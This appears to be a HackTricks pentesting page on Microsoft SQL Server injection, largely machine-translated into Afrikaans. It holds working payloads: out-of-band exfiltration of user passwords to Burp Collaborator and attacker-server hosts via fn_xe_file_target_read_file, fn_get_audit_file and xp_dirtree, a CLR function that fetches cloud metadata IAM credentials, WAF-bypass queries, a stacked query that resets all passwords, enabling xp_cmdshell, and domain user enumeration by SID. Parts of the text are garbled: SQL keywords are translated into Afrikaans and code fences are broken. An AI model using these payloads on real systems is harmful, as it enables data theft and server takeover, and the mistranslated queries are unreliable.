MSSQL Injection

MSSQL Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Active Directory opsporing

Dit mag moontlik wees om domein gebruikers te opspoor via SQL-inspuiting binne 'n MSSQL bediener met behulp van die volgende MSSQL funksies:

  • SELECT DEFAULT_DOMAIN(): Kry huidige domeinnaam.

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): As jy die naam van die domein (DOMAIN in hierdie voorbeeld) ken, sal hierdie funksie die SID van die gebruiker Administrator in hex formaat teruggee. Dit sal lyk soos 0x01050000000[...]0000f401, let op hoe die laaste 4 bytes die nommer 500 in big endian formaat is, wat die gewone ID van die gebruiker administrator is. Hierdie funksie sal jou toelaat om die ID van die domein te ken (al die bytes behalwe die laaste 4).

  • SUSER_SNAME(0x01050000000[...]0000e803) : Hierdie funksie sal die gebruikersnaam van die aangeduide ID teruggee (indien enige), in hierdie geval 0000e803 in big endian == 1000 (gewoonlik is dit die ID van die eerste gewone gebruiker ID wat geskep is). Dan kan jy jou voorstel dat jy gebruikers-ID's van 1000 tot 2000 kan brute-force en waarskynlik al die gebruikersname van die gebruikers van die domein kan kry. Byvoorbeeld deur 'n funksie soos die volgende te gebruik:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Alternatiewe Fout-gebaseerde vektore

Fout-gebaseerde SQL-inspuitings lyk tipies soos konstruksies soos +AND+1=@@version-- en variasies gebaseer op die «OR» operator. Vrae wat sulke uitdrukkings bevat, word gewoonlik deur WAFs geblokkeer. As 'n omseiling, konkateer 'n string met die %2b karakter met die resultaat van spesifieke funksie-aanroepe wat 'n datatipe-omskakelingsfout op gesogte data veroorsaak.

Sommige voorbeelde van sulke funksies:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

Voorbeeld gebruik van funksie USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

Hierdie SSRF truuks is hier geneem

fn_xe_file_target_read_file

Dit vereis VIEW SERVER STATE toestemming op die bediener.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Dit vereis die CONTROL SERVER toestemming.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

Dit vereis die CONTROL SERVER toestemming.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

Gestoor prosedures soos xp_dirtree, hoewel nie amptelik gedokumenteer deur Microsoft nie, is deur ander aanlyn beskryf weens hul nut in netwerkbedrywighede binne MSSQL. Hierdie prosedures word dikwels gebruik in Out of Band Data eksfiltrasie, soos getoon in verskeie voorbeelde en plase.

Die xp_dirtree gestoor prosedure, byvoorbeeld, word gebruik om netwerk versoeke te maak, maar dit is beperk tot slegs TCP poort 445. Die poortnommer is nie aanpasbaar nie, maar dit laat lees van netwerk gedeeltes toe. Die gebruik word gedemonstreer in die SQL skrip hieronder:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

It's noteworthy that this method might not work on all system configurations, such as on Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) running on a Windows Server 2016 Datacenter with default settings.

Additionally, there are alternative stored procedures like master..xp_fileexist and xp_subdirs that can achieve similar outcomes. Further details on xp_fileexist can be found in this TechNet article.

xp_cmdshell

Dit is duidelik dat jy ook xp_cmdshell kan gebruik om iets uit te voer wat 'n SSRF aktiveer. Vir meer inligting lees die relevante afdeling op die bladsy:

1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL User Defined Function - SQLHttp

Om 'n CLR UDF (Common Language Runtime User Defined Function) te skep, wat kode is wat in enige .NET-taal geskryf is en in 'n DLL gecompileer is, om binne MSSQL gelaai te word vir die uitvoering van pasgemaakte funksies, is 'n proses wat dbo toegang vereis. Dit beteken dit is gewoonlik slegs haalbaar wanneer die databasisverbinding as sa of met 'n Administrateur rol gemaak word.

'n Visual Studio-projek en installasie-instruksies word in hierdie Github-repositori verskaf om die laai van die binêre in MSSQL as 'n CLR-assemblage te vergemaklik, wat die uitvoering van HTTP GET-versoeke vanuit MSSQL moontlik maak.

Die kern van hierdie funksionaliteit is ingekapsuleer in die http.cs-lêer, wat die WebClient-klas gebruik om 'n GET-versoek uit te voer en inhoud te verkry soos hieronder geïllustreer:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

Voordat die CREATE ASSEMBLY SQL-opdrag uitgevoer word, word dit aanbeveel om die volgende SQL-snippet te loop om die SHA512-has van die assembly by die bediener se lys van vertroude assemblies te voeg (beskikbaar via select * from sys.trusted_assemblies;):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Na suksesvolle toevoeging van die samestelling en die skep van die funksie, kan die volgende SQL-kode gebruik word om HTTP-versoeke uit te voer:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Vinige Exploit: Herwinning van Volledige Tabelinhoud in 'n Enkele Vraag

Truk hier.

'n Bondige metode om die volle inhoud van 'n tabel in 'n enkele vraag te onttrek, behels die gebruik van die FOR JSON klousule. Hierdie benadering is meer beknop as om die FOR XML klousule te gebruik, wat 'n spesifieke modus soos "raw" vereis. Die FOR JSON klousule word verkies weens sy beknoptheid.

Hier is hoe om die skema, tabelle en kolomme van die huidige databasis te herwin:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
```markdown
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

### Retrieving the Current Query

[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).

For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

```sql
```markdown
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Little tricks for WAF bypasses

Tricks also from here

Non-standard whitespace characters: %C2%85 или %C2%A0:

```markdown
# MSSQL-inspuiting

MSSQL-inspuiting is 'n tipe SQL-inspuiting wat spesifiek op Microsoft SQL Server gerig is. Dit kan gebruik word om toegang te verkry tot databasisdata deur die invoer van kwaadwillige SQL-kode in 'n toepassingsinvoer.

## Voorbeeld

Hier is 'n voorbeeld van 'n MSSQL-inspuitingsaanval:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--


In hierdie voorbeeld word die `id` parameter gemanipuleer om 'n UNION SELECT-aanroep te maak wat die weergawe van die SQL Server teruggee.

Scientific (0e) and hex (0x) notation for obfuscating UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

A period instead of a whitespace between FROM and a column name:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\N separator between SELECT and a throwaway column:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

```markdown
gebruik [tempdb]
skep tabel [test] ([id] int)
voeg in [test] waardes(1)
selecteer [id] van [test]
verwyder tabel [test]

Can be reduced to:

```sql
```markdown
gebruik[tempdb]skep/**/tafel[test]([id]int)invoeg[test]waardes(1)selekteer[id]van[test]verwyder/**/tafel[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

Voeg 'n nuttelose exec() aan die einde by en laat die WAF dink dit is nie 'n geldige navraag nie

admina'union select 1,'admin','testtest123'exec('select 1')--

Dit sal wees:

SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--'

Gebruik vreemd gebou navrae

admin'exec('update[users]set[password]=''a''')--

Dit sal wees:

SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--'

Of om xp_cmdshell in te skakel

admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

Dit sal wees

select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')--


## References

* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)

<div data-gb-custom-block data-tag="hint" data-style='success'>

Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

</div>

Last updated